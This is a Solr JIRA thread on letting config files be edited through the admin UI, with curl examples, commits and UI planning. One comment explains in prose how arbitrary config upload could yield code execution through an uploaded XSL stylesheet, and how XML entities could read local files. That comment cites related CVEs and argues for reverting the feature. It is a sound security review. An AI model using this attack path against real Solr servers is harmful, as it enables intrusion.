          Or would that still be too insecure?

          FWIW, I went through the JIRAs and here are the revision numbers
          for this and related JIRAs as far as I can tell:

          4x
          1542369
          1542721
          1542875
          1543370
          1543685

          Trunk
          1542345
          1542720
          1542859
          1543368
          1543660

          Show
          Erick Erickson added a comment - - edited Hmmm, This capability can be turned off. Would it be satisfactory to disable rather than enable by default and put it on the admin to enable it only in secure/dev environments? The intent here, after all, is to ease development/getting started rather than be something available in a production system. Currently, turning this off is accomplished by a bit of a trick, defining "hidden" files, i.e. files that you can't see/modify as *. It should be easy enough to require explicit enablement of the capability instead, which wouldn't be mutually exclusive with specifying hidden files. If that would work, it'll require a big fat warning similar to enableRemoteStreaming. Or would that still be too insecure? FWIW, I went through the JIRAs and here are the revision numbers for this and related JIRAs as far as I can tell: 4x 1542369 1542721 1542875 1543370 1543685 Trunk 1542345 1542720 1542859 1543368 1543660
          Hide
          Uwe Schindler added a comment -

          Hi Erick,

          BTW, I take it this doesn't apply to the REST API for manipulating the schema?

          It should not apply, because this does not support uploading arbitrary files or modifying plain XML that can get exploited with xinclude/external entities. The schema modification APIs hopefully only allow "semantic changes" to the schema, but does not allow to upload XML snippets to be included in those files without checks. I think Steve Rowe can comment on this, thanks for the pointer!

          Show
          Uwe Schindler added a comment - Hi Erick, BTW, I take it this doesn't apply to the REST API for manipulating the schema? It should not apply, because this does not support uploading arbitrary files or modifying plain XML that can get exploited with xinclude/external entities. The schema modification APIs hopefully only allow "semantic changes" to the schema, but does not allow to upload XML snippets to be included in those files without checks. I think Steve Rowe can comment on this, thanks for the pointer!
          Hide
          Erick Erickson added a comment - - edited

          Well, crap. This appears to be my day for batting 0. If it's that serious a security
          issue, I have no objection to reverting it.

          But the timing is awkward. I'm in the middle of moving and preparing to leave
          next week on a trans-Atlantic sailing trip, I'll be gone until probably the end of the
          year.

          Anyone want to volunteer?

          BTW, I take it this doesn't apply to the REST API for manipulating the schema?

          Show
          Erick Erickson added a comment - - edited Well, crap. This appears to be my day for batting 0. If it's that serious a security issue, I have no objection to reverting it. But the timing is awkward. I'm in the middle of moving and preparing to leave next week on a trans-Atlantic sailing trip, I'll be gone until probably the end of the year. Anyone want to volunteer? BTW, I take it this doesn't apply to the REST API for manipulating the schema?
          Hide
          Uwe Schindler added a comment - - edited

          Hi,
          I don't want to be "the bad guy" or a showstopper, but this should be reverted before Solr 4.7 comes out. From a security perspective, we cannot do this at all, unless we add some login features to the admin UI and some request handlers.

          Together with the help of security guys we already closed some horrible leaks in Solr, that may be used to view local files outside of Solr's config directly. Some examples are the recently XML-based attacks: external entities on data imports (SOLR-3895), escaping from SolrResourceLoader to read etc/passwd (SOLR-4882),...

          This week the Redhat people contacted me about those issues and they are very happy that they are resolved. Now they are also working on Solr 3.6.x and will fix the issues there, too.

          The problems with all this is partly Solr's openness for requests from anywhere, so in an ideal world, you have to use a firewall to limit access to the Solr server.

          Unfortunately a firewall is not always enough. If you have something like a small XXE vulnerability in your front-end server (using Solr) and the user from the outside can "trick" the server to send special crafted HTTP-requests to the Solr server behind your firewall (the Solr server must be accessible from the fron-end server, otherwise you would not be able to use Solr).

          By closing those attacks I took care of, at least big issues can be prevented (although you might be still possible to execute some crazy javascript with function queries - if enabled in the config), but you can no longer send documents to solr that use xinclude/external entities to load local files from the server. Or ask for velocity templates or XSL stylesheets from outside config dir.

          The problem opened by this issue is the following: You can upload any arbitrary file to the config directory without any checks. So you could theoretically also upload an XSL file and then use it with the tr=... parameter. As XSL can execute any java code, you have full control on the system.

          Another thing is the fact that we allow explicitely xinclude and external entities on solrconfig and solrschema.xml (to allow structuring your config into parts). This was done under the knowledge, that the files using external entities/xinclude can only be placed in the config dir, if you have access to the local file system on the server.

          Now that you can upload any file and change anything, you are wide open to any attack you can think of. There is no more security at all, once you have access to ShowFileRequestHandler, you can do anything on the Solr server, really anything!

          If you are interested about how to "hack" a Solr server (before 4.6) that is sitting behind a firewall through a vulnerable front-end server, read http://www.agarri.fr/blog/

          Redhat already assigned 3 CVE numbers to these issues and take the older issues seriously, and they will patch older versions and also force users to upgrade. cf, CVE-2013-6397 (SOLR-4882), CVE-2013-6407 (SOLR-3895), CVE-2013-6408 (SOLR-4881).

          If Redhat would know about this feature in Solr 4.7, they would throw Solr out of the window and remove it from their packages! This commit will make the project really look bad for security people. And users will think that Solr should be avoided.

          Show
          Uwe Schindler added a comment - - edited Hi, I don't want to be "the bad guy" or a showstopper, but this should be reverted before Solr 4.7 comes out. From a security perspective, we cannot do this at all, unless we add some login features to the admin UI and some request handlers. Together with the help of security guys we already closed some horrible leaks in Solr, that may be used to view local files outside of Solr's config directly. Some examples are the recently XML-based attacks: external entities on data imports ( SOLR-3895 ), escaping from SolrResourceLoader to read etc/passwd ( SOLR-4882 ),... This week the Redhat people contacted me about those issues and they are very happy that they are resolved. Now they are also working on Solr 3.6.x and will fix the issues there, too. The problems with all this is partly Solr's openness for requests from anywhere, so in an ideal world, you have to use a firewall to limit access to the Solr server. Unfortunately a firewall is not always enough. If you have something like a small XXE vulnerability in your front-end server (using Solr) and the user from the outside can "trick" the server to send special crafted HTTP-requests to the Solr server behind your firewall (the Solr server must be accessible from the fron-end server, otherwise you would not be able to use Solr). By closing those attacks I took care of, at least big issues can be prevented (although you might be still possible to execute some crazy javascript with function queries - if enabled in the config), but you can no longer send documents to solr that use xinclude/external entities to load local files from the server. Or ask for velocity templates or XSL stylesheets from outside config dir. The problem opened by this issue is the following: You can upload any arbitrary file to the config directory without any checks. So you could theoretically also upload an XSL file and then use it with the tr=... parameter. As XSL can execute any java code, you have full control on the system. Another thing is the fact that we allow explicitely xinclude and external entities on solrconfig and solrschema.xml (to allow structuring your config into parts). This was done under the knowledge, that the files using external entities/xinclude can only be placed in the config dir, if you have access to the local file system on the server. Now that you can upload any file and change anything, you are wide open to any attack you can think of. There is no more security at all, once you have access to ShowFileRequestHandler, you can do anything on the Solr server, really anything! If you are interested about how to "hack" a Solr server (before 4.6) that is sitting behind a firewall through a vulnerable front-end server, read http://www.agarri.fr/blog/ Redhat already assigned 3 CVE numbers to these issues and take the older issues seriously, and they will patch older versions and also force users to upgrade. cf, CVE-2013-6397 ( SOLR-4882 ), CVE-2013-6407 ( SOLR-3895 ), CVE-2013-6408 ( SOLR-4881 ). If Redhat would know about this feature in Solr 4.7, they would throw Solr out of the window and remove it from their packages! This commit will make the project really look bad for security people. And users will think that Solr should be avoided.
          Hide
          Erick Erickson added a comment -

          Works as far as I can tell, we can open up new JIRAs as necessary.

          Show
          Erick Erickson added a comment - Works as far as I can tell, we can open up new JIRAs as necessary.
          Hide
          ASF subversion and git services added a comment -

          Commit 1542369 from Erick Erickson in branch 'dev/branches/branch_4x'
          [ https://svn.apache.org/r1542369 ]

          SOLR-5287: Allow at least solrconfig.xml and schema.xml to be edited via the admin screen

          Show
          ASF subversion and git services added a comment - Commit 1542369 from Erick Erickson in branch 'dev/branches/branch_4x' [ https://svn.apache.org/r1542369 ] SOLR-5287 : Allow at least solrconfig.xml and schema.xml to be edited via the admin screen
          Hide
          Erick Erickson added a comment -

          Final patch, committing.

          Stefan Matheis (steffkes) I suspect you can just revert all the files that changed as a result of my last patch and re-apply this one so we're all in sync.

          Show
          Erick Erickson added a comment - Final patch, committing. Stefan Matheis (steffkes) I suspect you can just revert all the files that changed as a result of my last patch and re-apply this one so we're all in sync.
          Hide
          ASF subversion and git services added a comment -

          Commit 1542345 from Erick Erickson in branch 'dev/trunk'
          [ https://svn.apache.org/r1542345 ]

          SOLR-5287: Allow at least solrconfig.xml and schema.xml to be edited via the admin screen

          Show
          ASF subversion and git services added a comment - Commit 1542345 from Erick Erickson in branch 'dev/trunk' [ https://svn.apache.org/r1542345 ] SOLR-5287 : Allow at least solrconfig.xml and schema.xml to be edited via the admin screen
          Hide
          Stefan Matheis (steffkes) added a comment -

          Sorry, Assignee shouldn't be changed - that was by accident. UI-Ticket is created: SOLR-5446

          Show
          Stefan Matheis (steffkes) added a comment - Sorry, Assignee shouldn't be changed - that was by accident. UI-Ticket is created: SOLR-5446
          Hide
          Erick Erickson added a comment -

          I'm going to give this a review this morning, then commit unless there are objections.

          Then Stefan Matheis (steffkes) can work his UI magic and we can collaborate. Stefan, do you have
          a separate UI JIRA?

          Show
          Erick Erickson added a comment - I'm going to give this a review this morning, then commit unless there are objections. Then Stefan Matheis (steffkes) can work his UI magic and we can collaborate. Stefan, do you have a separate UI JIRA?
          Hide
          Erick Erickson added a comment -

          about XML validation... That was more one of those things like "if it's really easy, otherwise we'll put it in a future JIRA" IMO.....

          But yeah, I was just thinking of doing it in the browser before uploading. What the intent was was to keep people from shooting themselves in the foot when editing in the browser by messing up, say, their schema.xml file and making the core unable to load. If they do, they can't continue editing via the browser.

          Of course they can still upload perfectly well-formed XML and get into the same state, I didn't have anything comprehensive in mind.

          Show
          Erick Erickson added a comment - about XML validation... That was more one of those things like "if it's really easy, otherwise we'll put it in a future JIRA" IMO..... But yeah, I was just thinking of doing it in the browser before uploading. What the intent was was to keep people from shooting themselves in the foot when editing in the browser by messing up, say, their schema.xml file and making the core unable to load. If they do, they can't continue editing via the browser. Of course they can still upload perfectly well-formed XML and get into the same state, I didn't have anything comprehensive in mind.
          Hide
          Stefan Matheis (steffkes) added a comment -

          before i forget to mention it:

          4> Extra special bonus: Do some kind of XML validation on the "save" step to insure it's well-formed.

          that could be possible for the files you change "in browser" .. but depending on the size of the xml-document and your browser that might not be the best idea :/

          where it's definitely not possible, is for uploaded files - we can't access their content before/while uploading.

          if we want to have a reliable way .. we should do it on the serverside .. perhaps with an option to disable this check? even if i don't see a reason for that, because if you're sending a xml document .. that has to be valid either way.

          we could make it dependent from the contentType .. if you're sending application/xml or text/xml .. xml validation does its job and in case of failure tells you so?

          Show
          Stefan Matheis (steffkes) added a comment - before i forget to mention it: 4> Extra special bonus: Do some kind of XML validation on the "save" step to insure it's well-formed. that could be possible for the files you change "in browser" .. but depending on the size of the xml-document and your browser that might not be the best idea :/ where it's definitely not possible, is for uploaded files - we can't access their content before/while uploading. if we want to have a reliable way .. we should do it on the serverside .. perhaps with an option to disable this check? even if i don't see a reason for that, because if you're sending a xml document .. that has to be valid either way. we could make it dependent from the contentType .. if you're sending application/xml or text/xml .. xml validation does its job and in case of failure tells you so?
          Hide
          Stefan Matheis (steffkes) added a comment -

          It's working for me by specifying a request parameter 'stream.body=put your text here', even from within some tests I'm writing. Does that work for you? I freely admit this is somewhat of a mystery to me.

          Aha! That works like a charm .. i'm +1 on that, will come up with a patch for the UI

          Show
          Stefan Matheis (steffkes) added a comment - It's working for me by specifying a request parameter 'stream.body=put your text here', even from within some tests I'm writing. Does that work for you? I freely admit this is somewhat of a mystery to me. Aha! That works like a charm .. i'm +1 on that, will come up with a patch for the UI
          Hide
          Erick Erickson added a comment -

          New patch with tests.

          Stefan Matheis (steffkes). There are some ways I worked out to add streams to the request, don't know whether they're applicable for the UI or not.

          May be very close to committable, but I have to check a few things yet.

          Show
          Erick Erickson added a comment - New patch with tests. Stefan Matheis (steffkes) . There are some ways I worked out to add streams to the request, don't know whether they're applicable for the UI or not. May be very close to committable, but I have to check a few things yet.
          Hide
          Erick Erickson added a comment -

          It's working for me by specifying a request parameter 'stream.body=put your text here', even from within some tests I'm writing. Does that work for you? I freely admit this is somewhat of a mystery to me.

          Show
          Erick Erickson added a comment - It's working for me by specifying a request parameter 'stream.body=put your text here', even from within some tests I'm writing. Does that work for you? I freely admit this is somewhat of a mystery to me.
          Hide
          Stefan Matheis (steffkes) added a comment -

          so .. i got it, hopefully. what i'd say we do (in that separate ticket, as you mentioned) is:

          add a new page called "Files" (or something like that) which starts with a typical file-tree, as we have it in the "Cloud"-Section already .. which enables you to browse directories & files and view their contents.

          right now this patch only allows file-uploads (or at least i didn't manage it to accept raw text which i posted to this endpoint)? the code is using "input streams" .. no idea if that is fileupload-specific?

          because if we could post the content of a file .. we could offer two choices:

          1. upload a complete file, you have on your disk
          2. change into an "edit" mode .. and then post the changed file from within your browser

          which would basically mean you could modify your schema w/o the need to download, modify & re-upload it.

          that would be like we have it already on the "Data Import" Page .. where you could send a dataConfig parameter, which then is used instead of the persisted configuration (related code is in the DataImportHandler.java)

          Show
          Stefan Matheis (steffkes) added a comment - so .. i got it, hopefully. what i'd say we do (in that separate ticket, as you mentioned) is: add a new page called "Files" (or something like that) which starts with a typical file-tree, as we have it in the "Cloud"-Section already .. which enables you to browse directories & files and view their contents. right now this patch only allows file-uploads (or at least i didn't manage it to accept raw text which i posted to this endpoint)? the code is using "input streams" .. no idea if that is fileupload-specific? because if we could post the content of a file .. we could offer two choices: upload a complete file, you have on your disk change into an "edit" mode .. and then post the changed file from within your browser which would basically mean you could modify your schema w/o the need to download, modify & re-upload it. that would be like we have it already on the "Data Import" Page .. where you could send a dataConfig parameter, which then is used instead of the persisted configuration (related code is in the DataImportHandler.java )
          Hide
          Erick Erickson added a comment -

          Stefan:

          Nope, you're right on time. I'll be around this weekend too, although in a different time zone...

          Show
          Erick Erickson added a comment - Stefan: Nope, you're right on time. I'll be around this weekend too, although in a different time zone...
          Hide
          Stefan Matheis (steffkes) added a comment -

          hopefully i'm not to late to the party Erick (: Have been and still am busy with the current projects - but will try to get a least a first look at it tomorrow .. perhaps there is time on the weekend to bring a bit more of that great stuff!

          Show
          Stefan Matheis (steffkes) added a comment - hopefully i'm not to late to the party Erick (: Have been and still am busy with the current projects - but will try to get a least a first look at it tomorrow .. perhaps there is time on the weekend to bring a bit more of that great stuff!
          Hide
          Erick Erickson added a comment -

          This may be ready to commit, running tests now.

          It allows for disabling modifying conf files through through the admin/file handler. It allows updates of arbitrary files in the conf directory (e.g. velocity/error.vm).

          I'm a little askance at the name of the file, ShowFileRequestHandler is a bit misleading, is it worth renaming to something like "ConfFileRequestHandler"?

          It works with SolrCloud. Reloading the collection is required of course.

          So if some kind person is able to make the Solr admin UI do some of things:
          1> list files either in the conf directory or subdirectories and allow someone to pick one to edit.
          2> post the edited files to Solr
          3> perhaps provide a reload button on the editing page that may have to be sensitive to whether we're in SolrCloud mode or not, i.e. reload core or collection depending.
          4> Extra special bonus: Do some kind of XML validation on the "save" step to insure it's well-formed.

          Then we can wrap this up and put it out into the wild.

          I think the UI work should be a separate JIRA.

          This pretty much ignores the managed schema issues. But I think that it's OK [~sarowe] do you agree? If people edit schema.xml without doing a reload, then use the managed schema stuff, then their edits are lost. That seems OK to me..

          If there are no objections, I'll commit this over the weekend and we can make separate UI issues. I really need somebody to step up and take the admin UI work Stefan Matheis (steffkes) Are you there . Or anyone else who really understands browsers.

          Show
          Erick Erickson added a comment - This may be ready to commit, running tests now. It allows for disabling modifying conf files through through the admin/file handler. It allows updates of arbitrary files in the conf directory (e.g. velocity/error.vm). I'm a little askance at the name of the file, ShowFileRequestHandler is a bit misleading, is it worth renaming to something like "ConfFileRequestHandler"? It works with SolrCloud. Reloading the collection is required of course. So if some kind person is able to make the Solr admin UI do some of things: 1> list files either in the conf directory or subdirectories and allow someone to pick one to edit. 2> post the edited files to Solr 3> perhaps provide a reload button on the editing page that may have to be sensitive to whether we're in SolrCloud mode or not, i.e. reload core or collection depending. 4> Extra special bonus: Do some kind of XML validation on the "save" step to insure it's well-formed. Then we can wrap this up and put it out into the wild. I think the UI work should be a separate JIRA. This pretty much ignores the managed schema issues. But I think that it's OK [~sarowe] do you agree? If people edit schema.xml without doing a reload, then use the managed schema stuff, then their edits are lost. That seems OK to me.. If there are no objections, I'll commit this over the weekend and we can make separate UI issues. I really need somebody to step up and take the admin UI work Stefan Matheis (steffkes) Are you there . Or anyone else who really understands browsers.
          Hide
          Erick Erickson added a comment -

          I tried running with a transient core and that works just fine. It works for the same reason this code doesn't work if, say, schema.xml isn't well formed. Part of getting to this handler is getting the core, which will load a transient core but will fail if, say, the schema.xml is malformed. If the core doesn't load, we never get a chance to replace the bad configs since the exception is thrown before we get here.

          You do get a long ugly stack trace back from the cURL command though, telling you things like "Caused by: org.xml.sax.SAXParseException; systemId: solrres:/schema.xml; lineNumber: 245; columnNumber: 4; The element type "schema" must be terminated by the matching end-tag "</schema>"."

          I'm not going to try to do anything about this, at least for the first cut. I'm just going to document it. I'm envisioning this functionality as an easy way to make tweaks. You can recover from some problems, for instance declaring a default field in solrconfig.xml that doesn't exist.

          I don't see any intrinsic reason why it would be impossible to make this functionality work even when the configs were totally messed up, but that would require duplicating the logic in the core's classLoader/resourceLoader and that's a place I don't want to go right now. Also, if we go to ZK being "the one source of truth" I think the problem changes.

          On to trying to make this work with ZK.

          Show
          Erick Erickson added a comment - I tried running with a transient core and that works just fine. It works for the same reason this code doesn't work if, say, schema.xml isn't well formed. Part of getting to this handler is getting the core, which will load a transient core but will fail if, say, the schema.xml is malformed. If the core doesn't load, we never get a chance to replace the bad configs since the exception is thrown before we get here. You do get a long ugly stack trace back from the cURL command though, telling you things like "Caused by: org.xml.sax.SAXParseException; systemId: solrres:/schema.xml; lineNumber: 245; columnNumber: 4; The element type "schema" must be terminated by the matching end-tag "</schema>"." I'm not going to try to do anything about this, at least for the first cut. I'm just going to document it. I'm envisioning this functionality as an easy way to make tweaks. You can recover from some problems, for instance declaring a default field in solrconfig.xml that doesn't exist. I don't see any intrinsic reason why it would be impossible to make this functionality work even when the configs were totally messed up, but that would require duplicating the logic in the core's classLoader/resourceLoader and that's a place I don't want to go right now. Also, if we go to ZK being "the one source of truth" I think the problem changes. On to trying to make this work with ZK.
          Hide
          Erick Erickson added a comment -

          Well, this is scary. I hacked together a butchery of ShowFileRequestHandler (so far only local no ZK support).

          The most work was refactoring this a bit so I could re-use some of the work already there.

          But it...works. Even updating files in subdirectories of conf, e.g. velocity.

          It turns out that ShowFileRequestHandler already lists the contents of a directory if it is a directory. So something like:

          http://localhost:8983/solr/collection1/admin/file?file=velocity

          will list the contents of the conf/velocity, and

          http://localhost:8983/solr/collection1/admin/file

          will list the contents of the conf directory itself.

          So, adding a param "op=write" and "file=whatever" and posting a stream to Solr "just works". These two curl commands did the trick, giving me a stream to work with:

          curl -X POST --form "fileupload=@schema.eoe" 'http://localhost:8983/solr/collection1/admin/file?op=write&file=schema.xml'

          curl -X POST --form "fileupload=@eoe.vm" 'http://localhost:8983/solr/collection1/admin/file?op=write&file=velocity/error.vm'

          Stefan Matheis (steffkes) Is this enough to see if this could work from the admin UI?

          Everyone: Mostly I'm putting this up to see what people think. [~sarowe] and I chatted this evening, there are still some questions about how this and managed schemas should interact when both are active at once.

          You can also hide files if you so choose, the code already does that. If the UI gives you a set of files to choose from you just wouldn't see one to try to change although you could still cURL stuff if you wanted, but this is the admin UI after all.

          If you opened a binary file, I assume you'd see garbage and wouldn't want to proceed anyway, but that's a bit of a hole.

          We should post a warning indicating that the changes won't take effect until after a core reload. I'm reluctant to actually reload automatically on the theory that one might want to make a series of related changes and apply them all at once. Perhaps Stefan Matheis (steffkes) (or someone) could put a button on whatever page we come up with rather than making the user go to the cores page after editing?

          What would be really cool is if there were an easy way to tell if at least the xml was well-formed before saving, but that's a bell and whistle.

          One thing that we may get "for free" is editing these even if the core fails to load. But I have to check that out when the admin UI is operational.

          And I still have to check whether lazily-loaded cores work, but this is enough for tonight.

          And, as usual at this point, I haven't checked things over very carefully, run precommit or test yet. Mostly I'm wondering what people think of the approach.

          Let me know...

          Show
          Erick Erickson added a comment - Well, this is scary. I hacked together a butchery of ShowFileRequestHandler (so far only local no ZK support). The most work was refactoring this a bit so I could re-use some of the work already there. But it...works. Even updating files in subdirectories of conf, e.g. velocity. It turns out that ShowFileRequestHandler already lists the contents of a directory if it is a directory. So something like: http://localhost:8983/solr/collection1/admin/file?file=velocity will list the contents of the conf/velocity, and http://localhost:8983/solr/collection1/admin/file will list the contents of the conf directory itself. So, adding a param "op=write" and "file=whatever" and posting a stream to Solr "just works". These two curl commands did the trick, giving me a stream to work with: curl -X POST --form "fileupload=@schema.eoe" 'http://localhost:8983/solr/collection1/admin/file?op=write&file=schema.xml' curl -X POST --form "fileupload=@eoe.vm" 'http://localhost:8983/solr/collection1/admin/file?op=write&file=velocity/error.vm' Stefan Matheis (steffkes) Is this enough to see if this could work from the admin UI? Everyone: Mostly I'm putting this up to see what people think. [~sarowe] and I chatted this evening, there are still some questions about how this and managed schemas should interact when both are active at once. You can also hide files if you so choose, the code already does that. If the UI gives you a set of files to choose from you just wouldn't see one to try to change although you could still cURL stuff if you wanted, but this is the admin UI after all. If you opened a binary file, I assume you'd see garbage and wouldn't want to proceed anyway, but that's a bit of a hole. We should post a warning indicating that the changes won't take effect until after a core reload. I'm reluctant to actually reload automatically on the theory that one might want to make a series of related changes and apply them all at once. Perhaps Stefan Matheis (steffkes) (or someone) could put a button on whatever page we come up with rather than making the user go to the cores page after editing? What would be really cool is if there were an easy way to tell if at least the xml was well-formed before saving, but that's a bell and whistle. One thing that we may get "for free" is editing these even if the core fails to load. But I have to check that out when the admin UI is operational. And I still have to check whether lazily-loaded cores work, but this is enough for tonight. And, as usual at this point, I haven't checked things over very carefully, run precommit or test yet. Mostly I'm wondering what people think of the approach. Let me know...
          Hide
          Erick Erickson added a comment -

          I'm coming back around to this. It looks (and we'll have more info on this next week when [~sarowe] has had a chance to straighten me out), like it'll be relatively easy to piggy-back on the REST-API work and allow it to handle arbitrary files in the conf directory. I'm envisioning a new option in the managed schema config for solrconfig. Currently, the <schemaFactory> tag takes a tag like:

          <str name="managedSchemaResourceName">managed-schema</str>

          So what if we allowed something like
          <str name="managedSchemaResourceName">managed-all-conf</str>
          or
          <str name="managedSchemaResourceName">managed-schema managed-all-conf</str>
          or just assume that managed-all-conf enabled both the "push the whole file" option and using the managed schema. I think the managed schema will allow for a really nice UI interface that'll be valuable, and the people "who don't need no stinking wizard" can just freely edit the raw files.

          the "managed-all-conf" list + CRUD operations on any file in the conf directory (maybe more later). The infrastructure is in place to push this to SolrCloud, so it seems like about the same amount of work to do it all.

          That takes care of the ability to restrict this capability by configuration, getting things to the cloud etc. From a UI perspective, it's just a POST to the right URL with the body of the file.

          Anyway, that's the current thinking...

          Show
          Erick Erickson added a comment - I'm coming back around to this. It looks (and we'll have more info on this next week when [~sarowe] has had a chance to straighten me out), like it'll be relatively easy to piggy-back on the REST-API work and allow it to handle arbitrary files in the conf directory. I'm envisioning a new option in the managed schema config for solrconfig. Currently, the <schemaFactory> tag takes a tag like: <str name="managedSchemaResourceName">managed-schema</str> So what if we allowed something like <str name="managedSchemaResourceName">managed-all-conf</str> or <str name="managedSchemaResourceName">managed-schema managed-all-conf</str> or just assume that managed-all-conf enabled both the "push the whole file" option and using the managed schema. I think the managed schema will allow for a really nice UI interface that'll be valuable, and the people "who don't need no stinking wizard" can just freely edit the raw files. the "managed-all-conf" list + CRUD operations on any file in the conf directory (maybe more later). The infrastructure is in place to push this to SolrCloud, so it seems like about the same amount of work to do it all. That takes care of the ability to restrict this capability by configuration, getting things to the cloud etc. From a UI perspective, it's just a POST to the right URL with the body of the file. Anyway, that's the current thinking...
          Hide
          Jan Høydahl added a comment -

          Yea, +1 to supporting the short-name in schema. It's more readable after all.

          I played with a sample self-documentation format which could be used by GUI to pull plugin documentation from server instead of hardcoding in HTML. Could also use for generating this part of the documentation for the ref-guide and avoid mismatch. And it would benefit Lucene and ES users as well as Solr users!

          Example return string for synonymFilterFactory#getConfigSpec()

          { "key" : "synonym",
            "name" : "Synonym filter",
            "desc" : "Token filter which expands synonyms from a provided dictionary",
            "see" : "http://lucene.apache.org/core/4_4_0/analyzers-common/org/apache/lucene/analysis/synonym/SynonymFilter.html",
            "params" : [
                { "name" : "synonyms", "info" : "Name of synonym dictionary file", "value" : "STRING" },
                { "name" : "format", "info" : "Specify format of the dictionary. May be solr or snowball", "value" : [ "solr", "snowball" ]},
                { "name" : "ignoreCase", "info" : "Set to true for case insensitive", "value" : "BOOLEAN" },
                { "name" : "expand", "info" : "If true, a synonym will be expanded to all equivalent synonyms. If false, all equivalent synonyms will be reduced to the first in the list", "value" : "BOOLEAN" },
                { "name" : "tokenizerFactory", "info" : "Which tokenizer to use when parsing the dictionary. Use either shortname or class name", "value" : "ref:TOKENIZERS"}
             ]
          }
          

          Well, guess we're way off-track here compared to original issue. Let's spin off separate JIRAs for whatever we'd like to achieve

          Show
          Jan Høydahl added a comment - Yea, +1 to supporting the short-name in schema. It's more readable after all. I played with a sample self-documentation format which could be used by GUI to pull plugin documentation from server instead of hardcoding in HTML. Could also use for generating this part of the documentation for the ref-guide and avoid mismatch. And it would benefit Lucene and ES users as well as Solr users! Example return string for synonymFilterFactory#getConfigSpec() { "key" : "synonym" , "name" : "Synonym filter" , "desc" : "Token filter which expands synonyms from a provided dictionary" , "see" : "http: //lucene.apache.org/core/4_4_0/analyzers-common/org/apache/lucene/analysis/synonym/SynonymFilter.html" , "params" : [ { "name" : "synonyms" , "info" : "Name of synonym dictionary file" , "value" : "STRING" }, { "name" : "format" , "info" : "Specify format of the dictionary. May be solr or snowball" , "value" : [ "solr" , "snowball" ]}, { "name" : "ignoreCase" , "info" : "Set to true for case insensitive" , "value" : "BOOLEAN" }, { "name" : "expand" , "info" : "If true , a synonym will be expanded to all equivalent synonyms. If false , all equivalent synonyms will be reduced to the first in the list" , "value" : "BOOLEAN" }, { "name" : "tokenizerFactory" , "info" : "Which tokenizer to use when parsing the dictionary. Use either shortname or class name" , "value" : "ref:TOKENIZERS" } ] } Well, guess we're way off-track here compared to original issue. Let's spin off separate JIRAs for whatever we'd like to achieve
          Hide
          Uwe Schindler added a comment -
          Show
          Uwe Schindler added a comment - See: LUCENE-4044
          Hide
          Uwe Schindler added a comment - - edited

          Jan: The main problem is the crazy transformation Solr does with these names for backwards compatibility. SolrResourceLoader detects factories with regexps and converts it to the "simple" names taken by the SPI. Unfortunately, currently Solr does not allow to specify the "canonical name" of the analyzer.

          In general we should remove class="solr.FooBarFactory" support from the analyzer schema and rename this to e.g., name="whitespace" without *Factory that gets directly passed to the SPI. For backwards compatibility in 4.x we can still resolve "solr.FooBarFactory", but in 5.0 only real existing class names should work (if used with class). For "official" factories, only use name="" (which also reads much better).

          Show
          Uwe Schindler added a comment - - edited Jan: The main problem is the crazy transformation Solr does with these names for backwards compatibility. SolrResourceLoader detects factories with regexps and converts it to the "simple" names taken by the SPI. Unfortunately, currently Solr does not allow to specify the "canonical name" of the analyzer. In general we should remove class="solr.FooBarFactory" support from the analyzer schema and rename this to e.g., name="whitespace" without *Factory that gets directly passed to the SPI. For backwards compatibility in 4.x we can still resolve "solr.FooBarFactory", but in 5.0 only real existing class names should work (if used with class). For "official" factories, only use name="" (which also reads much better).
          Hide
          Jan Høydahl added a comment -

          It would be super cool to expose these via some API too so people could make 3rd party schema builders without hardcoding filter names in the tool itself.

          And the next step would be to allow Analysis Factories to implement something like getConfigSpec() to document available/allowed configuration options, much like a DTD or schema for allowed params and values. But this is done via NamedLists now so we don't get anything for free through introspection and would probably need to invent some internal JSON syntax for this.

          Show
          Jan Høydahl added a comment - It would be super cool to expose these via some API too so people could make 3rd party schema builders without hardcoding filter names in the tool itself. And the next step would be to allow Analysis Factories to implement something like getConfigSpec() to document available/allowed configuration options, much like a DTD or schema for allowed params and values. But this is done via NamedLists now so we don't get anything for free through introspection and would probably need to invent some internal JSON syntax for this.
          Show
          Uwe Schindler added a comment - Yes, works, you can list all factories registered by SPI: http://lucene.apache.org/core/4_4_0/analyzers-common/org/apache/lucene/analysis/util/TokenizerFactory.html#availableTokenizers() http://lucene.apache.org/core/4_4_0/analyzers-common/org/apache/lucene/analysis/util/TokenFilterFactory.html#availableTokenFilters() http://lucene.apache.org/core/4_4_0/analyzers-common/org/apache/lucene/analysis/util/CharFilterFactory.html#availableCharFilters() FYI: The same works with Codecs,...
          Hide
          Jan Høydahl added a comment -

          This could be done in steps for sure. First add ability to POST an entire schema through the REST API and implement that in Admin GUI, much like your original plan. Then implement support for the rest of todays Schema API (https://cwiki.apache.org/confluence/display/solr/Schema+API). Finally, extend the API to delete and modify stuff.

          By SPI I mean Service Provider Interface, where each tokenfilter etc registers itself so you can discover them, e.g. you could refer to the Synonym filter by "synonym" instead of "solr.SynonymFilterFactory" since it's registered as a service. Believe it should be possible to list all registered components, but I have not tried.

          Show
          Jan Høydahl added a comment - This could be done in steps for sure. First add ability to POST an entire schema through the REST API and implement that in Admin GUI, much like your original plan. Then implement support for the rest of todays Schema API ( https://cwiki.apache.org/confluence/display/solr/Schema+API ). Finally, extend the API to delete and modify stuff. By SPI I mean Service Provider Interface, where each tokenfilter etc registers itself so you can discover them, e.g. you could refer to the Synonym filter by "synonym" instead of "solr.SynonymFilterFactory" since it's registered as a service. Believe it should be possible to list all registered components, but I have not tried.
          Hide
          Stefan Matheis (steffkes) added a comment -

          the simple textarea was only meant to be a starting point, calling a REST API is fine as well - would need to now what options are available on that, but in general that's possible as well, for sure.

          offering some kind of a wizard is always a bit tricky since you have to offer really all the possible options, otherwise some people can't use it and/or you have to provide that ugly "others" option, where (if one uses it) the complete drag & drop idea goes out of the door :/

          simple baseline: i'm fine either way - let's do what we can & what make sense with the features in mind (:

          Jan Høydahl that "SPI" you mentioned, not sure what the abbreviation stands for?

          Show
          Stefan Matheis (steffkes) added a comment - the simple textarea was only meant to be a starting point, calling a REST API is fine as well - would need to now what options are available on that, but in general that's possible as well, for sure. offering some kind of a wizard is always a bit tricky since you have to offer really all the possible options, otherwise some people can't use it and/or you have to provide that ugly "others" option, where (if one uses it) the complete drag & drop idea goes out of the door :/ simple baseline: i'm fine either way - let's do what we can & what make sense with the features in mind (: Jan Høydahl that "SPI" you mentioned, not sure what the abbreviation stands for?
          Hide
          Erick Erickson added a comment -

          Jan Høydahl Hmmm, I hadn't thought much about that. I know the REST API isn't complete yet, I think I saw a JIRA float by that you couldn't, for instance, update a field.

